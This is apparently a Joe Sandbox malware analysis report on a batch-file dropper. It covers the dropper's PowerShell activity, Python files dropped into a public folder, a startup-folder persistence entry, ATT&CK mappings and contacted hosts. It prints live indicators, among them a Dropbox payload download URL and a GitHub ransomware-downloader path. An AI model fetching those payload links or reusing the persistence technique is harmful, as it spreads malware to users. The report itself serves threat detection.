Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4215			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5632			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\setuptools\cli.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-arm64.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\setuptools\cli-64.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file

Source: Yara match	File source: zW72x5d91l.bat, type: SAMPLE
Source: Yara match	File source: amsi64_3348.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3348, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\tcl86t.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\tk86t.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\Document\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\coroutines.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncio\runners.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.megginson.com/SAX/.	0%	Avira URL Cloud	safe
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
http://bugs.python.org/issue13585	0%	Avira URL Cloud	safe
https://pillow.readthedocs.io/en/latest/	0%	Avira URL Cloud	safe
http://xml.org/sax/features/namespace-prefixes	0%	Avira URL Cloud	safe
http://bugs.python.org/issue7250	0%	Avira URL Cloud	safe
http://xml.org/sax/features/string-interning	0%	Avira URL Cloud	safe
http://w3m.sourceforge.net/	0%	Avira URL Cloud	safe
https://fishshell.com/);	0%	Avira URL Cloud	safe
http://bugs.python.org/issue12029	0%	Avira URL Cloud	safe
https://bugs.python.org/issue29302	0%	Avira URL Cloud	safe
http://lynx.isc.org/	0%	Avira URL Cloud	safe
http://xml.org/sax/features/validation	0%	Avira URL Cloud	safe
http://artax.karlin.mff.cuni.cz/~mikulas/links/	0%	Avira URL Cloud	safe
http://xml.org/sax/properties/lexical-handler	0%	Avira URL Cloud	safe
http://bugs.python.org/issue19404	0%	Avira URL Cloud	safe
http://xml.org/sax/features/external-parameter-entities	0%	Avira URL Cloud	safe
https://uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com/cd/0/get/Cf6O6-mc1Oh-6LK1qMCBrbPcO27RUCmiF0EN9_8RPLhrmulU-F73oXgmVcZz6s52Yi-GpG25UcOI1c7fca8l9yXfF1bJOK85cQ10KMBYlcGDgE-1DHRidsXw1bBd6rpI09RKwpw8QJ37uO55aulU8ssP/file?dl=1	0%	Avira URL Cloud	safe
https://bugs.python.org/issue17741	0%	Avira URL Cloud	safe
http://xml.org/sax/properties/xml-string	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
github.com	20.233.83.145	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571738
Start date and time:	2024-12-09 17:04:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zW72x5d91l.bat renamed because original name is a hash value
Original Sample Name:	25d7e9a512fccb4b87bc53a2dd939b823513333882852f833025601e71fa0746.bat
Detection:	MAL
Classification:	mal100.expl.evad.winBAT@11/1773@4/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 30 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240s for powershell

Time	Type	Description
11:05:14	API Interceptor	6771799x Sleep call for process: powershell.exe modified
16:05:15	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
162.125.69.18	kjhsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjshdf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://docsend.com/view/nw5cttresp36nsvc	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdf30de28.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
20.233.83.145	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zW72x5d91l.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

